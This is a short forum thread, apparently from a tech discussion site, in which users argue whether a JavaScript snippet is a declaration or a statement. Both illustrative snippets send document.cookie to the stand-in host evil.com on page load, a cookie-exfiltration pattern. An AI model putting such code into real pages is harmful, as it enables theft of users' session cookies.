4 ms·
Sure it is. Here's how you can write a declaration that you want to exfiltrate cookies: document.addEventListener("load", function(){ fetch("http:
by inigyou 3mo ago
Sure it is.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
});
- tremon 3mo agoThat's not a declaration, that's a statement. An imperative statement, to boot. Here's what it would look like in an actual declarative language: <body onLoad="http.GET('http://evil.com/"+document.cookie')">
- inigyou 3mo agoWhat do you think is the difference between a declaration and a statement?
- tremon 3mo agoI don't need to think, I can just look up their definitions: https://en.wikipedia.org/wiki/Declaration_(computer_programming) https://en.wikipedia.org/wiki/Declaration_(computer_programm...: > a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization https://en.wikipedia.org/wiki/Statement_(computer_science) https://en.wikipedia.org/wiki/Statement_(computer_science): > a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out